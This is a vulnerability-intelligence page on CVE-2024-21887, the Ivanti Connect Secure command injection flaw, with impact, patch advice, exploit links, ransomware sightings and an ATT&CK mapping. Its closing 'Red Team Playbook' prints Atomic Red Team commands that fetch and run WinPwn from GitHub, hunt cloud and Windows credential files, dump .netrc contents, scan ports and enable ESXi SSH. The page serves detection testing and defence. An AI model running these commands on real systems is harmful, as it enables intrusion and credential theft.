CVE-2024-21887

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 12/01 Upd 21/10

Overview

This vulnerability is a command injection flaw located in the web components of Ivanti Connect Secure and Ivanti Policy Secure appliances. The root cause is insufficient input validation in an API endpoint that processes administrator-supplied parameters, allowing crafted input to be executed as operating system commands. The affected feature is the API handling user backup code requests, specifically within the license keys status path.

Vulnerability Description

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

Impact

An attacker with authenticated administrator access can execute arbitrary operating system commands on the Ivanti appliance. This capability enables full system compromise, including unauthorized control over appliance functions and potential lateral movement within the network. The prerequisite is valid administrator credentials, which may be obtained through credential theft or other means. Successful exploitation can lead to data exposure, service disruption, and compromise of the security infrastructure managed by the appliance.

Solution

Ivanti has released patches addressing this command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure versions 9.1.r11.3 and later. Administrators should apply the vendor-provided updates as detailed in the Ivanti security advisory available at https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways. No specific workarounds are provided; prompt patching is recommended to mitigate exploitation risk.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The command injection vulnerability present in the web components of Ivanti Connect Secure and Ivanti Policy Secure products allows an authenticated administrator to execute arbitrary commands on the appliance. This flaw arises from insufficient input validation, enabling attackers to craft malicious requests that can manipulate the underlying command execution environment. Specifically, the vulnerability permits the injection of system commands through web interfaces, which, when processed by the server, can lead to unauthorized actions being performed at the system level. This type of vulnerability is particularly dangerous as it can be exploited by individuals who already possess administrative access, thereby bypassing many traditional security measures designed to protect against external threats.

Attack vectors for this vulnerability are primarily through the web interface of the affected products. An attacker with administrative credentials can leverage this flaw by sending specially crafted requests that include malicious payloads. For instance, an attacker could manipulate parameters in a web form or API request to inject commands that the server would execute. This could lead to a variety of malicious outcomes, such as data exfiltration, unauthorized access to sensitive information, or even complete system compromise. The ability to execute arbitrary commands means that an attacker could install backdoors, alter configurations, or disrupt services, making this vulnerability a potent tool for malicious actors.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on Ivanti's solutions for secure access and policy enforcement. The potential for data breaches and system compromises poses a considerable business risk, especially in industries that handle sensitive information, such as finance, healthcare, and government. The exploitation of this vulnerability could lead to severe reputational damage, regulatory penalties, and financial losses. Furthermore, the high CVSS score of 9.1 indicates that the vulnerability is critical and should be prioritized for remediation. Organizations may also face the risk of operational disruptions if systems are compromised or taken offline for incident response and recovery efforts.

Detection and mitigation strategies for this vulnerability should focus on both proactive and reactive measures. Organizations should implement robust logging and monitoring solutions to detect unusual activity within their Ivanti products, particularly any unauthorized command execution attempts. Regular security assessments, including penetration testing and vulnerability scanning, can help identify and remediate such vulnerabilities before they can be exploited. Additionally, organizations should ensure that they are running the latest versions of the affected products, as vendors typically release patches to address known vulnerabilities. Implementing the principle of least privilege can also reduce the risk by limiting administrative access to only those individuals who absolutely need it, thereby minimizing the potential attack surface.

In conclusion, the command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure products represents a serious threat to organizations that utilize these solutions. The ability for an authenticated administrator to execute arbitrary commands can lead to devastating consequences if exploited. Organizations must take immediate action to assess their exposure, implement detection mechanisms, and apply necessary patches to mitigate the risks associated with this vulnerability. By adopting a comprehensive security posture that includes proactive monitoring, regular updates, and strict access controls, organizations can better protect themselves against potential exploitation and safeguard their critical assets.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-21887, reflecting a modest upward trend in attacker activity. This change is accompanied by the continued availability of multiple new proof-of-concept exploits on public repositories, which lowers the barrier for adversaries to weaponize this vulnerability. Notably, ransomware groups linked to this vulnerability remain active, reinforcing the risk of its use in targeted ransomware campaigns. Although the overall exploit activity remains stable without rapid escalation, the combination of increased detection signals and expanding exploit resources sustains the critical threat posture. Defenders should recognize that the vulnerability continues to be actively leveraged in the wild, maintaining a high likelihood of compromise if unmitigated.



Update 2 — July 07, 2026

CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2024-21887, indicating increased exploitation attempts targeting Ivanti Connect Secure and Ivanti Policy Secure appliances. This escalation is underscored by the proliferation of new proof-of-concept exploits and auxiliary tools on public repositories, which continue to lower the technical barriers for adversaries. The persistence of ransomware groups associated with this vulnerability further amplifies the operational risk, as these actors are likely to integrate the exploit into their attack chains. Although the overall exploit trend remains stable without rapid acceleration, the marked increase in telemetry signals suggests heightened adversary interest and potential expansion of attack campaigns. For defenders, this evolving landscape signifies a sustained and possibly intensifying threat environment, reinforcing the criticality of timely detection and response capabilities. Consequently, the risk level remains elevated, with a growing likelihood of compromise if mitigations are not rigorously applied.

Affected Products (81)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r14:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r18:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
+61 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893
sfewer-r7 Unknown - View
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805
sfewer-r7 Unknown - View

GitHub PoCs (8)

Repository Author Stars Forks Date Link
Chocapikk/CVE-2024-21887
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, ...
Chocapikk 58 13 2024-01-16 View
duy-31/CVE-2023-46805_CVE-2024-21887
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a re...
duy-31 23 4 2024-01-16 View
seajaysec/Ivanti-Connect-Around-Scan
Mitigation validation utility for the Ivanti Connect Around attack chain. Runs multiple checks. CVE-2023-46805, CVE-2024...
seajaysec 12 3 2024-01-19 View
oways/ivanti-CVE-2024-21887
POC Checker for ivanti CVE-2024-21887 Command injcetion
oways 7 1 2024-01-14 View
raminkarimkhani1996/CVE-2023-46805_CVE-2024-21887
The script in this repository only checks whether the vulnerabilities specified in the Ivanti Connect Secure product exi...
raminkarimkhani1996 5 1 2024-01-18 View
Hexastrike/Ivanti-Connect-Secure-Logs-Parser
A Python script for examining Ivanti Secure Connect (ICS) event logs, designed to support investigations into vulnerabil...
Hexastrike 5 1 2025-01-19 View
rxwx/pulse-meter
Parses the System Snapshot from an Ivanti Connect Secure applicance to identify possible IOCs related to CVE-2023-46805,...
rxwx 1 1 2025-01-14 View
pwniel/ivanti_shell
CVE-2024-21887 Exploitation with Ngrok Reverse Shell
pwniel 0 0 2024-02-24 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 1

0apt
CONFIRMED
ransomware.live
2026-06-25

Threat Feed

35 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-01-14
PoC Published (8 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-01-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-01-10
Exploit Published (0 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
43% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
55%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
42%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
35%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-21887
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21887